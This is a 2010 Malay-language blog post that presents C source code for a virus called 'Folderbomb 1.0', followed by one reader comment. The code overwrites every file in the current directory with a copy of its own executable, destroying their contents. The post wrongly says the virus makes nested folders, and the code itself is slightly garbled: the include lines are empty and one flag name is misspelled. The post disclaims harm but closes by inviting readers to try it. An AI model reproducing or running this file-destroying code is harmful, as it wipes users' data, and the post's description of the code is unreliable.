09 October 2010

Kod Aturcara Virus

Artikel saya pada kali ini bukan berkenaan dengan Windows, tetapi berkenaan dengan virus yang menyerang sistem operasi Windows. Semua sudah maklum tentang virus komputer ini. Sebut aje ada virus, semua sudah sinonim mendengarnya. Tapi adakah anda tahu apa itu virus yang sebenarnya dan macam mana program virus itu di buat?


Disini saya dedahkan satu aturcara atau program virus yang mana virus program ini akan membuat folder dalam folder dan seterusnya. Jangan bimbang, kod virus ini TIDAK AKAN sama sekali memasuki komputer anda selagi ianya tidak ditukarkan kepada fail yang boleh di run (executable), selagi itulah ianya tidak akan membahayakan komputer anda. Artikel ini bertujuan untuk pengetahuan dan berkongsi ilmu. Aturcara ini di buat dengan menggunakan bahasa pengaturcaraan C atau C++ . Kebanyakkannya, hampir kesemua virus komputer yang ada sehingga kini direka dengan aturcara ini. Ini kerana banyak fungsi-fungsi yang sudah tersedia dalam aturcara ini memudahkan pengaturcara (programmer) merekabentuk virus yang mereka kehendaki. Kaedah pembikinan virus ini ada yang kadangkala itu cukup mudah dan ada juga yang terlalu rumit. Ini bergantung kepada tujuan pembikinan kod virus tersebut. Dan tidak ketinggalan juga ada sesetengah antivirus itu dibuat dengan menggunakan aturcara ini. Jadi kepada anda yang belum tahu apa itu virus komputer, macam mana rupanya virus komputer, lihatlah contoh kod virus ini..dan kepada sesiapa yang faham dan mengerti kod aturcara di bawah, JANGAN sesekali anda run kod ini..


/*Contoh kod virus Folderbomb yang di reka dengan bahasa pengaturcaraan C*/

#include
#include
#include
#include
#include

void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(“————————————————————————–”);
printf(“\nVirus: Folderbomb 1.0\n”);
cprintf(“————————————————————————–”);
done = findfirst(“*.*”,&ffblk,0);
while (!done)
{ printf(“\n”);cprintf(” %s “, ffblk.ff_name);printf(“is attacked by “);cprintf(“Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}


"Selamat Mencuba & Pastikan Anda Tahu Apa Yang Anda Lakukan"







1 comments:

-sollehahn- said...

salah satu jenis virus yang very annoying...asyik buat folder sampai serabut komputer...

Post a Comment